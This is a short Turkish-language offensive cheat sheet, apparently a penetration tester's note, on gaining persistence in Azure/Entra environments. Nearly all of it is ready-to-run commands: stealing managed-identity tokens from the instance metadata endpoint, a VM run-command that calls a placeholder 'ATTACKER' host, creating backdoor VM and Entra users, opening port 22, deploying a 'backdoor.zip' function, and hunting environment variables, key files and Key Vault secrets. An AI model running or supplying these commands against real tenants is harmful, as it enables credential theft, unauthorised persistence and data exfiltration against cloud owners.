Az - Cloud Shell Persistence

Azure kalıcılık

Az - Cloud Shell Persistence — Azure / Entra ortamında kalıcı erişim ve geri dönüş kanalları notudur. Amaç: çağıran kimliği netleştirmek, servise özel saldırı yüzeyini komutlarla doğrulamak ve kanıtlanabilir etki üretmek. Her fence tek komut/payload taşır; çıktıyı hedefe göre uyarla.

Saldırı akışı

1. Mevcut erişim kanalını haritala (key, role, webhook, layer).

2. Düşük gürültülü backdoor yüzeyi seç (alias, trust, schedule).

3. Kalıcı kimlik veya tetikleyici yerleştir.

4. İkinci oturumdan erişimi doğrula.

Kimlik / oturum

Önce kim olduğunu ve hangi hesaba/projeye/kontekste oturduğunu kilitle.

az account show

az ad signed-in-user show

az account get-access-token --query accessToken -o tsv | cut -c1-20

Hedef komutlar

Az - Cloud Shell Persistence için doğrudan uygulanabilir komutlar. Placeholder’ları (BUCKET, ROLE, FN, …) hedef değerlerle değiştir.

curl -sH Metadata:true 'http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://management.azure.com/'

az vm list -d -o table

az vm run-command invoke -g RG -n VM --command-id RunShellScript --scripts 'id;curl ATTACKER'

az vm user update -g RG -n VM --username evil --password 'P@ssw0rd!'

az vm extension set -g RG --vm-name VM --name CustomScript --publisher Microsoft.Azure.Extensions --settings '{"commandToExecute":"id"}'

az network nic list -o table

az network nsg rule create -g RG --nsg-name NSG -n open22 --priority 100 --access Allow --protocol Tcp --destination-port-ranges 22

curl -sH Metadata:true 'http://169.254.169.254/metadata/instance?api-version=2021-02-01'

Kalıcılık / etki

Erişimi tekrar kullanılabilir kanala çevir veya veriyi dışarı al. İkinci bir oturumdan doğrula.

az ad user create --display-name evil --password 'P@ss' --user-principal-name evil@corp.onmicrosoft.com

az functionapp deployment source config-zip -g RG -n APP --src backdoor.zip

az webapp config appsettings set -g RG -n APP --settings BACKDOOR=1

Secret / credential avı

Env, metadata, secret store ve CI loglarından ikinci kimlik topla; yeni principal ile döngüyü tekrarla.

env | rg -i 'key|secret|token|password|aws_|azure|gcp|kube'

printenv | sort

find / -name '*.pem' -o -name 'credentials' -o -name '*.json' 2>/dev/null | head -n 40

az keyvault secret list --vault-name VAULT -o table

Kanıt

Rapor için yeniden üretilebilir çıktı bırak: komut, zaman, hesap/arn, etki özeti.

request/response veya CLI çıktısı
hesap / proje / cluster
etki: okuma | yazma | RCE | lateral
zaman damgası + dosya hash

mkdir -p evidence/cloud && tee evidence/cloud/notes.txt